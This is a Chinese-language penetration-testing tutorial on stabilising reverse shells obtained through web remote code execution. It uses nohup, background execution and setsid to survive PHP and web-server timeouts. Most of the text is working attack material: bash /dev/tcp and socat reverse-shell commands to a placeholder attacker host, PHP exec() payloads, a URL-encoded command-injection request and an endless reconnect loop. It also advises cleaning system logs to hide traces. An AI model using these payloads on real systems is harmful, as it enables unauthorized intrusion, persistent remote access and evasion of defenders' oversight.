在We渗透过程中,我们常常会利用目标系统的远程代码执行(RCE)漏洞进行反弹Shell。然而,由于Web服务器(如PHP、Python后端)的执行环境通常存在超时限制(如max_execution_time
或进程管理策略),反弹Shell进程可能在短时间内被终止,导致会话断连。为了解决这一问题,可以使用nohup
、&
和setsid
等Linux命令来规避后端超时退出,确保会话的稳定性。本文将聚焦Web场景下的RCE,分析如何通过这些工具实现稳定的反弹Shell。
一、Web场景RCE与超时断连问题
1.1 Web场景RCE的特点
在Web场景下,RCE通常通过高危漏洞(如命令注入、文件上传、反序列化等)触发,攻击者通过Web请求在后端执行命令。例如,在PHP环境中,可能通过system()
、exec()
等函数执行反弹Shell命令。常见的反弹Shell命令包括:
- Bash反弹:
bash -i >& /dev/tcp/x.x.x.x/4444 0>&1
- PHP反弹:
<?php exec("bash -i >& /dev/tcp/x.x.x.x/4444 0>&1"); ?>
这些命令通过Web请求触发,但Web服务器通常会限制脚本的执行时间(例如PHP的max_execution_time
默认为30秒),或者在请求结束后终止进程,导致反弹Shell无法持久运行。
1.2 超时断连的原因
- Web服务器超时设置:如PHP的
max_execution_time
或Nginx/Apache的请求超时配置。 - 进程依赖:反弹Shell进程依赖于Web请求的进程,请求结束后进程被终止。
- 会话管理:目标系统的会话管理策略可能主动清理非活跃进程。
- 网络限制:防火墙或网络策略可能中断长时间未活动的连接。
为应对这些问题,我们可以让反弹Shell进程脱离Web请求的控制,保持长期运行。
二、使用nohup
、&
和setsid
规避断连
以下分别介绍这三种工具在Web场景RCE中的应用,以及如何结合使用以实现稳定的反弹Shell。
2.1 使用nohup
防止进程挂起
2.1.1 原理
nohup
(no hangup)命令通过忽略挂起信号(SIGHUP),使进程在终端或父进程(如Web请求进程)退出后继续运行。在Web场景RCE中,nohup
可以让反弹Shell进程脱离Web服务器的请求生命周期。
2.1.2 实现方法
假设攻击者在目标Web服务器上通过RCE执行命令,可以使用以下方式:
nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
nohup
:确保进程忽略SIGHUP信号,不因Web请求结束而终止。bash -c
:执行反弹Shell命令。&
:将进程放入后台运行,避免阻塞Web请求。
在PHP场景下,可以通过exec()
触发:
<?php
exec("nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
执行后,Web请求即使因超时结束,反弹Shell进程仍会在后台运行,保持与攻击者监听端口的连接。
2.1.3 注意事项
- 输出重定向:
nohup
默认将输出写入nohup.out
文件,可能暴露痕迹。建议重定向到/dev/null
:nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
- 权限问题:确保Web服务器用户(如
www-data
)有执行nohup
和bash
的权限。 - 适用性:
nohup
适用于大多数Linux系统,但部分精简环境可能缺失。
2.2 使用&
实现后台运行
2.2.1 原理
在Linux中,&
符号将命令放入后台运行,使其不阻塞当前进程。在Web场景中,结合&
可以让反弹Shell进程独立于Web请求,避免因请求超时而终止。
2.2.2 实现方法
直接在命令后添加&
:
bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
在PHP中:
<?php
exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.2.3 注意事项
- 局限性:单独使用
&
无法完全脱离父进程,Web服务器进程退出时,反弹Shell可能仍被终止。 - 建议:
&
通常与nohup
或setsid
结合使用,以增强稳定性:nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
2.3 使用setsid
实现进程完全独立
2.3.1 原理
setsid
命令创建一个新的会话(session),使进程成为新会话的领导者,脱离原有的控制终端和父进程(如Web服务器进程)。这在Web场景RCE中特别有效,可彻底解决因Web请求终止导致的进程退出问题。
2.3.2 实现方法
命令示例:
setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
在PHP中:
<?php
exec("setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.3.3 注意事项
- 输出处理:与
nohup
类似,建议重定向输出以减少痕迹:setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
- 环境依赖:部分精简系统可能未安装
setsid
,需确认目标环境支持。 - 交互性:若需要更高交互性,可结合
socat
创建伪终端:setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane &
2.4 综合使用nohup
、&
和setsid
为最大化反弹Shell的稳定性,建议结合三者使用:
nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
在PHP中:
<?php
exec("nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");
?>
nohup
:忽略SIGHUP信号,防止进程因Web请求结束而终止。setsid
:创建新会话,脱离Web服务器进程的控制。&
:确保进程后台运行。>/dev/null 2>&1
:重定向输出,减少痕迹。
三、实战场景与优化
3.1 典型Web场景应用
假设目标是一个运行PHP的Web服务器,存在命令注入漏洞,攻击者通过以下URL触发RCE:
http://target.com/vuln.php?cmd=[command]
攻击者可以在cmd
参数中传入以下命令:
nohup%20setsid%20bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/x.x.x.x/4444%200%3E%261'%20%3E/dev/null%202%3E%261%20%26
- URL编码确保命令正确传递。
- 攻击者在本地监听端口(如
nc -lvnp 4444
),即可接收反弹Shell。
3.2 优化建议
-
减少痕迹:
- 始终重定向输出到
/dev/null
,避免生成nohup.out
等文件。 - 检查目标系统日志(如
/var/log
),清理可能的执行记录。
- 始终重定向输出到
-
提高交互性:
- 如果目标支持
socat
,优先使用带伪终端的反弹Shell:nohup setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane >/dev/null 2>&1 &
- 如果目标支持
-
应对网络中断:
- 在目标系统支持的情况下,添加简单的重连脚本。例如,使用PHP编写:
<?php while (true) {exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");sleep(5); } ?>
- 此脚本每5秒尝试重连,适合网络不稳定场景。
- 在目标系统支持的情况下,添加简单的重连脚本。例如,使用PHP编写:
-
权限检查:
- 确认Web服务器用户(如
www-data
)是否有执行nohup
、setsid
等命令的权限。 - 如果权限受限,可尝试其他方法(如Python脚本)。
- 确认Web服务器用户(如
四、优缺点总结
工具/方法 | 优点 | 缺点 |
---|---|---|
nohup | 简单易用,内置于大多数Linux系统,防止SIGHUP终止 | 输出默认写入nohup.out ,需手动重定向 |
& | 简单,直接实现后台运行 | 无法完全脱离父进程,稳定性较低 |
setsid | 创建新会话,完全独立于父进程 | 部分系统可能未安装,需确认环境 |
综合使用 | 结合三者,稳定性最高 | 命令较复杂,需确保环境支持 |
五、结论
在Web场景RCE中,反弹Shell的超时断连问题可以通过nohup
、&
和setsid
有效规避。nohup
防止进程因SIGHUP终止,&
实现后台运行,setsid
使进程完全独立于Web请求进程。综合使用这三者,并结合输出重定向和伪终端支持(如socat
),可以显著提高反弹Shell的稳定性。在实战中,攻击者需根据目标环境灵活选择方案,并注意减少痕迹、提高隐蔽性。
通过上述方法,渗透测试人员能够在Web场景下实现持久、稳定的反弹Shell,为后续内网渗透、权限维持等操作奠定基础。